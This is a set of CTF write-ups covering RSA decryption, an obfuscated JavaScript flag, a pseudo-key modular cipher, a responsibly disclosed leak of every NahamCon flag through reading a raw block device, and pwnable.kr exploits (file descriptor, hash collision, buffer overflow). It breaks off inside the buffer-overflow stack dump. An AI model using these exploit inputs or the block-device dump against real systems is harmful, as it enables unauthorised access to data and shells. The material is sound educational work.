INT (little endian) : 201584106411901694616549114265403818352500570162482437244939366
STR : b'flag{w3_need_7o_g0_d3ep3r}'

...

As you can see, the ciphertext could be unciphered pretty much the same way as in the Dream Stealing challenge.

Flag

flag{w3_need_7o_g0_d3ep3r}

Dream stealing

Given information

I've managed to steal some secrets from their subconscious, can you figure out anything from this?

$ cat ciphertext-bb416c708f242b0c70d6f2c07d646d9f.txt
Modulus: 98570307780590287344989641660271563150943084591122129236101184963953890610515286342182643236514124325672053304374355281945455993001454145469449640602102808287018619896494144221889411960418829067000944408910977857246549239617540588105788633268030690222998939690024329717050066864773464183557939988832150357227
One factor of N:  9695477612097814143634685975895486365012211256067236988184151482923787800058653259439240377630508988251817608592320391742708529901158658812320088090921919
Public key: 65537
Ciphertext: 75665489286663825011389014693118717144564492910496517817351278852753259053052732535663285501814281678158913989615919776491777945945627147232073116295758400365665526264438202825171012874266519752207522580833300789271016065464767771248100896706714555420620455039240658817899104768781122292162714745754316687483

First steps

The challenge is distributed as a file containing some information that may be used to decipher the given ciphertext

One Shot Solve

As this is an introductory challenge, we can solve it in a fairly strait-foward way, in this case using the RsaCtfTool:

$ ./RsaCtfTool.py --uncipher 75665489286663825011389014693118717144564492910496517817351278852753259053052732535663285501814281678158913989615919776491777945945627147232073116295758400365665526264438202825171012874266519752207522580833300789271016065464767771248100896706714555420620455039240658817899104768781122292162714745754316687483 -n 98570307780590287344989641660271563150943084591122129236101184963953890610515286342182643236514124325672053304374355281945455993001454145469449640602102808287018619896494144221889411960418829067000944408910977857246549239617540588105788633268030690222998939690024329717050066864773464183557939988832150357227  -e 65537

...

Results for /tmp/tmpmzicubp8:

Unciphered data :
HEX : 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000666c61677b346363653535316e675f7468335f73756263306e7363313075737d
INT (big endian) : 46327402297734345668136112664627609061622411859278517910287191659094499226493
INT (little endian) : 88094692916878681304973182720116630253196809880747117727243445068216160576549534155204082127455583851325088293675818840615944988343500653963470791672736997048571573187499305694261505835551458431407622925193944974882354435642913133800467654576903355697779623929836208161165319691883185229669675931529587458048
STR : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00flag{4cce551ng_th3_subc0nsc10us}'

As you can see, the ciphertext could be unciphered using the given factor of n, the modulus and the public "key".

Flag

flag{4cce551ng_th3_subc0nsc10us}

Reindeer flotilla

Given information

It's time to enter the Grid. Figure out a way to pop an alert() to get your flag.

http://chal.ctf.b01lers.com:3006

Solution

The solution to the challenge wasn't to pop an alert() after all...

The page doesn't allow pressing [CTRL]+[U], but using curl, we can access the html source code:

$ curl http://chal.ctf.b01lers.com:3006/
<!doctype html>

<html lang="en">
<head>
  <meta charset="utf-8">

  <title>ENCOM Input</title>
  <meta name="description" content="XSS">
  <meta name="author" content="Kevin Flynn">

  <link rel="icon" href="img/favicon.png">
  <link rel="stylesheet" href="css/styles.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
  <script type="text/javascript" src="js/script.js"></script>
</head>

<body>
  <div>
    <ul id=messages>

    </ul>
  </div>
    <input type=text id="chat">

  <div id="result"></div>
  <img id="logo" src="img/encomlogotransparent.png">
</body>
</html>

There isn't much to see, as the whole page is moslty managed using javascript. The interesting javascript file included is located at js/script.js:

$ curl http://chal.ctf.b01lers.com:3006/js/script.js
window.onload = function() {
    let input = document.getElementById("chat");
    input.focus();
    input.onkeypress = function send(e) {
        if (e.key === "Enter") {
            let message = "<li>" + input.value + "</li>";
            document.getElementById("messages").innerHTML += message;

        }
    }
}

window.onclick = function () {
    document.getElementById("chat").focus();
}

// don't waste your time with this
var _0x2e2c=['\x74\x72\x69\x67\x67\x65\x72','\x6f\x6b\x62\x75\x74\x74\x6f\x6e\x63\x6c\x69\x63\x6b\x65\x64','\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64','\x66\x6c\x61\x67\x7b\x79\x30\x75\x5f\x73\x68\x30\x75\x6c\x64\x6e\x74\x5f\x68\x34\x76\x33\x5f\x63\x30\x6d\x33\x5f\x62\x34\x63\x6b\x5f\x66\x6c\x79\x6e\x6e\x7d','\x6a\x51\x75\x65\x72\x79','\x61\x6c\x65\x72\x74'];(function(_0x4a3766,_0x6d4dbb){var _0x277919=function(_0x4f968d){while(--_0x4f968d){_0x4a3766['\x70\x75\x73\x68'](_0x4a3766['\x73\x68\x69\x66\x74']());}};_0x277919(++_0x6d4dbb);}(_0x2e2c,-0x1a8d+-0x2*0x9f+-0x1*-0x1c45));var _0xd7f1=function(_0x4a3766,_0x6d4dbb){_0x4a3766=_0x4a3766-(-0x1a8d+-0x2*0x9f+-0x1*-0x1bcb);var _0x277919=_0x2e2c[_0x4a3766];return _0x277919;};var _0x4f89d1=_0xd7f1;window[_0x4f89d1('\x30\x78\x33')]=function(_0x36059f,_0x256ac9){return function(_0x5cbfad){var _0x2fc60f=_0xd7f1;_0x36059f(_0x5cbfad),_0x256ac9(window)[_0x2fc60f('\x30\x78\x34')]('\x6f\x6b\x62\x75\x74\x74\x6f\x6e\x63\x6c\x69\x63\x6b\x65\x64');};}(window[_0x4f89d1('\x30\x78\x33')],window[_0x4f89d1('\x30\x78\x32')]),$(window)['\x6f\x6e'](_0x4f89d1('\x30\x78\x35'),function(){var _0x452fbb=_0x4f89d1;document[_0x452fbb('\x30\x78\x30')]('\x72\x65\x73\x75\x6c\x74')['\x69\x6e\x6e\x65\x72\x54\x65\x78\x74']=_0x452fbb('\x30\x78\x31');});

The comment // don't waste your time with this can be seen as a hint to inspect the following javascript very closely, but we shouldn't spend too much time, as this might be ment in the way it is written down.

The first element in the javascript is a list of hex strings. Converting them to ascii one by one reveals the following strings:

  • trigger
  • okbuttonclicked
  • getElementById
  • flag{y0u_sh0uldnt_h4v3_c0m3_b4ck_flynn}
  • jQuery
  • alert

As you can see, the flag is contained in this list...

Flag

flag{y0u_sh0uldnt_h4v3_c0m3_b4ck_flynn}

RedpwnCTF

Pseudo Key

So, this is a fairly long writeup for the pseudo-key challenge from the redpwnctf. It is ment to not only show the solution of the challenge, but also how to approach such a challenge. The challenge is based on the concept of Modular Arithmetics.

Initial view

So, the first thing to do is to view the data given. In this case, we get two files: pseudo-key-output.txt and pseudo-key.py. This is fairly obvious, the pseudo-key-output.txt is the output generated by the pseudo-key.py file. One of the first things we should do, is to understand how this all works, so let's look into the code:

#!/usr/bin/env python3

from string import ascii_lowercase

chr_to_num = {c: i for i, c in enumerate(ascii_lowercase)}
num_to_chr = {i: c for i, c in enumerate(ascii_lowercase)}

def encrypt(ptxt, key):
    ptxt = ptxt.lower()
    key = ''.join(key[i % len(key)] for i in range(len(ptxt))).lower()
    ctxt = ''
    for i in range(len(ptxt)):
        if ptxt[i] == '_':
            ctxt += '_'
            continue
        x = chr_to_num[ptxt[i]]
        y = chr_to_num[key[i]]
        ctxt += num_to_chr[(x + y) % 26]
    return ctxt

with open('flag.txt') as f, open('key.txt') as k:
    flag = f.read()
    key = k.read()

ptxt = flag[5:-1]

ctxt = encrypt(ptxt,key)
pseudo_key = encrypt(key,key)

print('Ciphertext:',ctxt)
print('Pseudo-key:',pseudo_key)

In order to look at the code and understand this, let's go through it line for line:

#!/usr/bin/env python3

The shebang indicating that this is ment to be executed using python3.

from string import ascii_lowercase

import the asci_lowercase character set (abcdefghijklmnopqrstuvwxyz)

chr_to_num = {c: i for i, c in enumerate(ascii_lowercase)}
num_to_chr = {i: c for i, c in enumerate(ascii_lowercase)}

maps for char to number (0a, 1b) and number to char (a0, b1), this is useful for the crypto function later on.

def encrypt(ptxt, key):
    ptxt = ptxt.lower()
    key = ''.join(key[i % len(key)] for i in range(len(ptxt))).lower()
    ctxt = ''
    for i in range(len(ptxt)):
        if ptxt[i] == '_':
            ctxt += '_'
            continue
        x = chr_to_num[ptxt[i]]
        y = chr_to_num[key[i]]
        ctxt += num_to_chr[(x + y) % 26]
    return ctxt

This is the encryption function, this takes some plaintext (ptxt) and a key (key), returning some ciphertext. Let's look at this line by line:

def encrypt(ptxt, key):

The function signature

    ptxt = ptxt.lower()

Convert the given plaintext to lowercase

    key = ''.join(key[i % len(key)] for i in range(len(ptxt))).lower()

Wrap the key, this means that if the plaintext is 8 bytes long (for example "12345678") and the key 3 bytes long ("key"), the key get's wrapped and gets repeated to be as long as the plaintext: ("keykeyke").

    ctxt = ''

Define a ciphertext, this will be filled in the following loop

    for i in range(len(ptxt)):
        if ptxt[i] == '_':
            ctxt += '_'
            continue
        x = chr_to_num[ptxt[i]]
        y = chr_to_num[key[i]]
        ctxt += num_to_chr[(x + y) % 26]
    return ctxt

Iterate over all the characters in the plaintext, this skips over underscores (_), converts the n'th char from the plaintext and from the key to a number, adds the numbers and adds the chr representation of the result modulo 26 to the ciphertext (Don't worry if this sound's weird, I'll get to this in detail further down).

with open('flag.txt') as f, open('key.txt') as k:
    flag = f.read()
    key = k.read()

This imports data from two files: flag.txt and key.txt. These contain the values we want to get, they get encrypted further down.

ptxt = flag[5:-1]

The plaintext get's defined as some chars in the flag, to be more precise, the 5th char until the second last char.

ctxt = encrypt(ptxt,key)

This encrypts the plaintext using the key as a key

pseudo_key = encrypt(key,key)

This encrypts the key using itself

print('Ciphertext:',ctxt)
print('Pseudo-key:',pseudo_key)

this prints the result

Decrypting

Now that we've got a basic understanding of how the given code is built up, let's define a goal. The overall goal we'd like to reach, is to get the plaintext of flag and the key. In order to do this, let's start by extracting the key.

The key

First, let's decrypt the key. The encryption works like this: encryption(key, key), so we known that the n'th character in the key ist added to the n'th character in the key and then taken modulo 26. As we want to decrypt this, we want to reverse the process of the encryption.

x = chr_to_num[ptxt[i]]
y = chr_to_num[key[i]]
ctxt += num_to_chr[(x + y) % 26]

So we start at the last step, num_to_chr. Let's convert the crypted key iigesssaemk into it's numerical representation:

from string import ascii_lowercase

chr_to_num = {c: i for i, c in enumerate(ascii_lowercase)}
num_to_chr = {i: c for i, c in enumerate(ascii_lowercase)}

cipher_key = "iigesssaemk"

for i in range(0, len(cipher_key)):
    print(chr_to_num[cipher_key[i]])
8
8
6
4
18
18
18
0
4
12
10

Next step, the actual crypto, the n'th numerical representation of the key get's added to the n'th numerical representation of the key and all of this is taken modulo 26, let's use an example to get a better understanding of this. Let's say we've got the character u in the key, the process of encryption works like this:

u2020 + 20 = 4040 % 26 = 1414

in order to reverse this, we need to find a value, that when added to itself and taken modulo 26 equals 14. We can try to brute force this:

a = 14
for j in range(0, 26):
    b = (j * 26) + a
    if ((b/2) < 26):
        print(b/2, end="")
    print("")
7.0
20.0

We search for a multiple of 26 that when added to 14 and divided by two is smaller than 26 (the target range (a-z)).

As you can see above, we get two results, ((7+7) % 26) = 14 and ((20+20) % 26) = 14. This is one of the problems we encounter, and in this problem lies the "pseudo" security of this "encryption". With values that are big enough, this wouldn't be a problem, as the resulting values wouldn't be so many, but with the limited space we've got, we only get a few results.

We can now proceed and brute-force all possible values for all values in our ciphertext:

from string import ascii_lowercase

chr_to_num = {c: i for i, c in enumerate(ascii_lowercase)}
num_to_chr = {i: c for i, c in enumerate(ascii_lowercase)}

pseukey = "iigesssaemk"

for i in range(0, len(pseukey)):
    print(pseukey[i], end=" → ")
    a = chr_to_num[pseukey[i]]
    for j in range(0, 10):
        b = (j * 26) + a
        if ((b/2) < 26):
            print(b, end=", ")
            print(num_to_chr[int(b/2)], end=", ")
    print("")
i → 8, e, 34, r,
i → 8, e, 34, r,
g → 6, d, 32, q,
e → 4, c, 30, p,
s → 18, j, 44, w,
s → 18, j, 44, w,
s → 18, j, 44, w,
a → 0, a, 26, n,
e → 4, c, 30, p,
m → 12, g, 38, t,
k → 10, f, 36, s,

Here, we see what output might correspond to a given input. There literally is no way (that I know), that can be used to obtain the exact values needed, but we can try to see what we can get from this. In order to do this, let's try to get something out:

 0   e, r <
 1 > e, r
 2 > d, q
 3   c, p <
 4   j, w <
 5   j, w <
 6   j, w <
 7   a, n <
 8 > c, p
 9   g, t <
10  > f, s

the CTF this challenge was hosted in was redpwnctf, so this is one of the strings that seemed likely. If you don't find such options or don't find a string, try searching for ctf. This can be found here, starting at index 8. The next index (9) coult be g or t and the next f or s, so we could build the string ctf. The rest (redpwwwwnctf) can be found by trial and error.

So the resulting key is redpwwwnctf

The flag

Having the key, we can decode the flag. In order to do this, let's first define the crypted flag and the key used to encrypt it.

key = "redpwwwnctf"
public = "z_jjaoo_rljlhr_gauf_twv_shaqzb_ljtyut"
ctxt = "z_jjaoo_rljlhr_gauf_twv_shaqzb_ljtyut"
key = ''.join(key[i % len(key)] for i in range(len(public)+20)).lower()

The key is defined in this weird way, defining it so that it is repeated to be as long as the ciphertext:

redpwwwnctfredpwwwnctfredpwwwnctfredpwwwnctfredpwwwnctfre

We can now decrypt the flag:

flag = ""

for i in range(0, len(ctxt)):
    if (ctxt[i] != "_"):
        a = chr_to_num[ctxt[i]]
        b = chr_to_num[key[i]]

        c = a - b
        if c < 0:
            c = (26 + a) - b

        flag += num_to_chr[c]


    else:
        flag += "_"


flag += "}"

The overall process is the same as with the key: For each character in the ciphertext, if the character is not an underscore, the values of the character at the respective indices in the ciphertext and the key are subtracted from each other, if this is less than zero, we add 26 (one modulo "round"). The result can be added to the flag string, so in the end we can print the flag:

flag{i_guess_pseudo_keys_are_pseudo_secure}

Overall, you should now have a basic understanding on how this works, if stuff is still unclear, try to repeat the process step by step, writing it down and try to visualize exactly how everything is done. If that doesn't help, find help (for example me, you'll figure out a way to contact me).

NahamconCTF

Disclosing a complete flag leak in a CTF

Intro

So, let's get things strait: yes, it is possible to leak all flags in a CTF and yes, people have done bad stuff with the leaked flags in the past resulting in a kind of broken CTF. In contradiction to this, this post will address how this was done in the NahamCon CTF, how it was disclosed, and what I've learned from this.

(Sidenote: I initially published this post on tildeho.me here).

Timeline

(time relative to the start of the CTF)

TimeWhat
+00:59hLeak of the first flags
+01:01hQuestion in the discord asking for an admin
+01:05hInformation regarding the leak and the challenge given to admin
+01:09hChallenge removed from CTFd and also not accessible anymore

NahamCon CTF

So let's start, my leak of all flags in the NahamCon CTF. Leaking the flags could be done using the "Fake File" (Misc) challenge.

The leak

The leak is done by reading from the vda1 block device:

The leak is actually so simple that I'm always astonised that it actually works. Let me present:

> nc jh2i.com 50026
cat /dev/vda1 | grep -ao "flag{.*}"
…

So what we do, is we read from the blockdevice and grep for the flag format. It's literally as simple as that.

Here's a screenshot displaying the raw result:

So after taking this screenshot, I waited about a minute to see if there was more and there was.

I extracted all flags from the dump like this:

> cat flagleak.txt | grep -o "flag\{\w{1,50}\}" | sort | uniq > flagleak_clean.txt

and proceeded to tweet the sha256sum of the flagleak_clean.txt file (functioning as a proof this happened about 1.5h after the CTF started):

Here a screenshot of the flag leak for verification:

(Sidenote: the CTF did contain flags starting with the flag format JCTF{.*}. These aren't included in the leak, as I simply grepped for the the other flag format flag{}. Also, flags not following a flag format are not in the leak. All of these could have been found, but dumping all of the data accessible (600GB+) wasn't my intention).

Disclosure

So as you might realize, leaking all flags isn't good, not even a bit. It is "sort of a game-critical thing".

So the first thought was "I've somehow got to inform the people hosting the CTF". The first step was to join the plattform used to communicate with the admins, in this case discord. As I was pretty excited about the finding and wanted to reach one of the admins as quickly as possible, I simply mentioned that I'd leaked all flags and who I could this report this to in the main thread (This is one of the thing's I'd do different if something like this happens again, I'll get to this in the learnings section below).

After about 10 seconds, an admin reached out to me regarding this. I disclosed leaking all flags, in which challenge it happened and the admins took care of taking the challenge down. This was done in about a minute.

Overall, the response from the admins was great and I'd love to see such a response whenever something like this happens.

Learnings

As mentioned before, I started reaching out to the admins directly in the main thread even mentioning that I'd leaked all flags. The admin I then PMd told me to please delete this message, as it might discourage other players from playing the CTF when knowning that all flags had been leaked. I deleted the message as soon as I got the message, realizing that informing all players that all flags had been leaked might really not be the best thing to do, as it really might ruin the CTF for a lot of people.

What to do if you leak flags

So here some points on what you should do when finding out you've leaked all flags:

  • contact the admins ASAP
  • don't inform all players publicly, if you do, coordinate this with the adminso

The stream

Later on, I saw that the admins were actually streaming them hosting the CTF, so If you'd like to see how the mood drops when getting informed that all flags are leaked, watch that here (starting 1:10:30):

Endnote

Overall, the disclosure was great, the admins acted fast and in the end, I think that nobody was really affected by this, as the challenge went up again some time later (fixed).

All in all, flag leaks such as the ones in TJCTF and PragyanCTF are really bad for a CTF and I really hope that such leaks don't happen or get reported to the admins resposibly so that the hundreds of teams and thousands of people playing such CTFs still can have some fun.


PS: (I still don't have the flag for the Fake File challenge, as I don't know which of the 65 flags belongs to that challenge)

pwnable.kr

Detailed writeups for the beginner pwnable.kr challenges.

fd

Mommy! what is a file descriptor in Linux?

* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
https://youtu.be/971eZhMHQQw

ssh fd@pwnable.kr -p2222 (pw:guest)

What is given?

We get a file called fd.c, the corresponding binary fd and a flag flag.

As we get the sourcecode, let's inspect it:

fd@pwnable:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;

}

Understanding the source

Let's look at the file line by line:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

Just some imports, nothing really interesting.

char buf[32];

A chat buffer get's defined, we will probably write stuff into here...

int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }

This is the definition of the main function with some code checking if the right amount of arguments was supplied... still not really interesting.

    int fd = atoi( argv[1] ) - 0x1234;

Now this get's interesting: The first command line argument (argv[1]) is passed to atoi (execute man atoi for more information on atoi). In a nutshell, atoi converts out input to an integer (Ascii TO Integer) and then subtracts 0x1234 from it. This means that we can controll the content of the fd variable: If we want to insert a value n into the var, we insert n + 0x1234.

    int len = 0;

Some var len is initialized as 0, nothing we can do here.

    len = read(fd, buf, 32);

Now here, the read function is used to "read from a file descriptor" (read the manpage man 2 read for more info on the read function).

Looking into the manpage, the read functions signature is the following:

ssize_t read(int fd, void *buf, size_t count);

From the manpage:

read() attempts to read up to count bytes from file descriptor fd into the buffer starting at buf.

This means that the the address of the buffer defined in the beginning ist passed in, some file descriptor that should be read from (remember, we controll the number of that file descriptor) and the amount of bytes to read in (in this case 32).

As we control the file descriptor, we can read 32 bytes of data from an arbitrary file descriptor into the buffer.

    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }

This checks if the content of the buffer is LETMEWIN. If so, it prints the content of the flag file and exists...

    printf("learn about Linux file IO\n");
    return 0;

}

...but if not, It tells us to learn about Linux file IO.

Solving the challenge

Now that you've got a basic understanding of the binary, it shouldn't be to hard to find out how to solve this. In the end, we need to get the String LETMEWIN into the buffer and the only thing we can controll is the input and the file descriptor from where the content is copied into the buffer.

The "most common" file descriptors are 0, 1 and 2. You might want to read the wikipedia page on file descriptors in order to get a basic understanding of what this actually all means.

On a very basic level, 0 is the Standard Input. If we read from here, we get the content the user inserts into their commandline. 1 is the Standard output. If we write data here, we can print stuff to the commandline. And at last, 2 is the standard error, works the same as the standard output, but offers an alternative stream allowing to separate the actual content for error content, allowing the user to, for example, filter out the errors and watch only the actual content.

Now that we can control the file pointer, we probably want to use the file descriptor 0 as the input, as this allows us to write content to the command line that is then passed into the buffer.

In order to get the fd value to 0, we need to insert 0 + 0x1234 which is:

>>> 0 + 0x1234
4660

With this information we can get the flag like this:

fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

collision

Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)

What is given?

We get the binary col and the source it's compiled from col.c:

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
    int* ip = (int*)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
    }
    return res;
}

int main(int argc, char* argv[]){
    if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }
    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes\n");
        return 0;
    }

    if(hashcode == check_password( argv[1] )){
        system("/bin/cat flag");
        return 0;
    }
    else
        printf("wrong passcode.\n");
    return 0;
}

Understanding the source

Let's go through this again line by line:

#include <stdio.h>
#include <string.h>

Some includes for libraries needed.

unsigned long hashcode = 0x21DD09EC;

Some kind of variable, we don't know what it does at this point.

unsigned long check_password(const char* p){
    int* ip = (int*)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
    }
    return res;
}

A "check_password" function, taking in a char* p (which is c slang for "String") returning some kind of result which seems to be an integer.

Let's look at this a bit closer:

unsigned long check_password(const char* p){

This is the function signature, simply defining the name of the function (check_password), what arguments it expects (const char* p) and what it may return (unsigned long).

  int* ip = (int*)p;

This takes the given string input and casts it to an array of pointers, with the first pointer being the given value.

  int i;
  int res=0;

Two variables are defined, i for specifying the index in the upcoming loop (more on that in the next block) and res is initialized as zero, we'll probably going to store the result of the operation here.

  for(i=0; i<5; i++){
      res += ip[i];
  }

Now this is the actual operation, what happens here, is that for every pointer in the array of pointers (so every four bytes), the value get's added to the result. As the password consists of 20 chars, we add do this five times, once for each 4 byte block. For example, imagine you'd enter a password consisting of 20 * 'a': (AAAAAAAAAAAAAAAAAAAA). What happens is that the input is defined as an array of pointers with each entry being four bytes:

[AAAA, AAAA, AAAA, AAAA, AAAA]

Each entry in this array is converted to it's hex representation:

[0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141]

which as decimal results in:

[1094795585, 1094795585, 1094795585, 1094795585, 1094795585]

Which when added together results in:

5473977925

  return res;

And at last, we return the result.

Now, after looking at the password function, let's look at the main function:

int main(int argc, char* argv[]){

The main function signature, nothing special, simply takes the argument count and an array of arguments.

    if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }

This simply checks if the correct amount of arguments is given.

    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes\n");
        return 0;
    }

The length of the password ist checked, it is supposed to be 40 chars long.

    if(hashcode == check_password( argv[1] )){
        system("/bin/cat flag");
        return 0;
    }

The hashcode (defined at the top (0x21DD09EC)) is used to check if the password is correct. This means that we need to enter a password so that the check_password function described above returns this value.

    else
        printf("wrong passcode.\n");
    return 0;
}

Exploiting

So, we need to generate an input that when added results in 0x21DD09EC == 568134124. We can try doing this as follows:

Divide the String by five:

>>> 0x21DD09EC / 5
113626824.8

This doesn't result in an even value, which is bad, but we can try dividing it by five and finding that what is over using the % (modulo) operator:

>>> 0x21DD09EC // 5
113626824
>>> 0x21DD09EC % 5
4

With this knowledge, we know that we need four 113626824 blocks and one block that is 113626824 + 4 = 113626828.

We can check out calculation by adding them, reversing the process of generating the value:

>>> hex((113626824 * 4) + 113626828)
'0x21dd09ec'

This is correct! This means that what is left to do, is to convert the values to their hex representation and input them as the password:

>>> hex(113626824)
'0x6c5cec8'
>>> hex(113626828)
'0x6c5cecc'

Now inserting such hex values isn't really fun, but we can use python to help doing this. It is important to flip the bytes, and reverse the string direction, as this is stored using the little endian format, meaning the the least signigicant bits().

>>> print("\xc8\xce\xc5\x06" * 4 + "\xcc\xce\xc5\x06")
����������

Using this, we can insert it into the first argument of the binary to get the result:

col@pwnable:~$ ./col `python -c 'print("\xc8\xce\xc5\x06" * 4 + "\xcc\xce\xc5\x06")'`
daddy! I just managed to create a hash collision :)

(Yes, I'm using python2 here, doing this with python3 is kind of weird)

bof

Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

The title of this challenge hints that this challenge has to do with buffer overflows.

What is given?

We get a binary (bof) and the source that can be compiled to build the binary ourselves (bof.c).

The source if fairly short:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}

Understanding the source

Let's understand the source! First of all, let's split up the source into it's three main components: the imports, the func function and the main function.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

The imports are there for making string handling and other stuff easier, nothing special here.

Before we look at the func function, let's get a quick look at the main function, as it isn't really long and calls the func function (You might notice we're going "into" the code now, starting at the "main" and working our way into the action).

int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}

The main function is fairly basic. It receives the amount of arguments passted into the binary (argc) and list of strings containing the arguments (argv), but doesn't use them. Instead the func function is called with 0xdeadbeef as an argument.

In the end, the function returns 0, so there isn't really much going on here. Let's now take a look at the func function:

void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}

There's a lot more happening here, let's go through it line by line:

void func(int key){

The function signature tells us, that the function receives one argument, named key that is an integer and returns void, thus nothing. We know that the argument given is 0xdeadbeef, as seen in the main function. (Don't panic: altough 0xdeadbeef might look like a string, the 0x prefix indicates that it is actually a hexadecimal value and thus just the representation of 3735928559 in base 16, which by coincidence is completely made up of letters).

        char overflowme[32];

The next part initializes a 32 bytes big char buffer called overflowme, we'll get to what that is ment to say in a minute...

        printf("overflow me : ");

...here, "overflow me : " is printed out, a pretty clear instruction...

        gets(overflowme);       // smash me!

...and here, a comment indicates that we should smash it! Now let's get into the problems of buffer overflows and the problem presented here. This line calls the gets function using the buffer overflowme created before as it's first argument. Let's look at the manpage of gets ($ man gets):

NAME
       gets - get a string from standard input (DEPRECATED)

This tells us the name of the function (gets) and in a few words what it's supposed to do, namely get a string from the standard input (File descriptor 0).

SYNOPSIS
       #include <stdio.h>

       char *gets(char *s);

This tells us how to use get's, it tells us to include the stdio.h library and then use the get's function, by passing in a char pointer.

The Description then starts fairly direct:

DESCRIPTION
       Never use this function.

Now you might ask yourself: "why not use gets?", as you might want to do exactly what this function is ment to do, get a string from the standard input. Well let's read on...

       gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte ('\0').  No check for buffer overrun is performed (see BUGS below).

Well, this is a problem. What this says is that if we've got a buffer of, for example, size 4 and read 10 bytes from the standard input, the 10 bytes will be written into the buffer, as not bound checks are performed.

0x0 | _ _ _ _ | <- the 4 bytes big buffer
0x4 | _ _ _ _ |
0x8 | _ _ _ _ |

Now if we use get's to fill this buffer, we can write past the end of the buffer into what is stored on the stack beneath it. For understanding how we can do bad stuff with this, let's quickly look at the rest of the function, so that you know what our actual goal is:

        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}

This checks if the key (the argument given into the function before (0xdeadbeef)) equals 0xcafebabe. If so, we get a shell (system("/bin/sh")). If not, we get a message telling us Nah...

Now the key 0xdeadbeef doesn't equal 0xcafebabe, that should be quite clear. In order for them to be equal, we'de have to change one of them to the correct value, but we can't, as we control neither of the values. But don't loose hope! We do have control over a buffer into which we can write and we can even write over it's boundaries. Now imagine that the buffer is located at some place in memory and the key variable is located somehere else behind it, so that when we write over the bounds of the buffer, we can overwrite the content of key with some arbitrary content. That sounds great, doesn't it? Well, that's exactly what we're going to do.

Let's clean up your understanding a bit more: When calling a function in 32-bit x86, all arguments are pushed onto the stack (See the x86 calling conventions for more information regarding this). This means that when a new function is called, the stack contains the following values:

0x0000

......  buffer
......  argument 1
......  Saved return address (eip)
......  Saved Base Pointer (ebp)

0xffff

Do keep in mind that the stack grows from the high adresses to the low addresses, so in the graphic above, if you'd insert another value, you'd put it above the "buffer". When writing into a buffer, we write from the low to the high addresses. This means that if we write past the bounds of the buffer, we overwrite the values previously pushed onto the stack.

If we'd write this down a bit more like in "reality", we'd get something like this:

pwndbg> stack 20
00:0000│ esp 0xffffd6c0 —▸ 0xffffd6dc ◂— 'AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD'
01:0004│     0xffffd6c4 ◂— 0x0
02:0008│     0xffffd6c8 —▸ 0xf7ffd000 ◂— 0x2cf44
03:000c│     0xffffd6cc ◂— 0x0
04:0010│     0xffffd6d0 ◂— 0x0
05:0014│     0xffffd6d4 ◂— 0x8e
06:0018│     0xffffd6d8 ◂— 0x800000
07:001c│ eax 0xffffd6dc ◂— 'AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD'
08:0020│     0xffffd6e0 ◂— 'AAAABBBBBBBBCCCCCCCCDDDDDDDD'
09:0024│     0xffffd6e4 ◂— 'BBBBBBBBCCCCCCCCDDDDDDDD'
0a:0028│     0xffffd6e8 ◂— 'BBBBCCCCCCCCDDDDDDDD'
0b:002c│     0xffffd6ec ◂— 'CCCCCCCCDDDDDDDD'
0c:0030│     0xffffd6f0 ◂— 'CCCCDDDDDDDD'
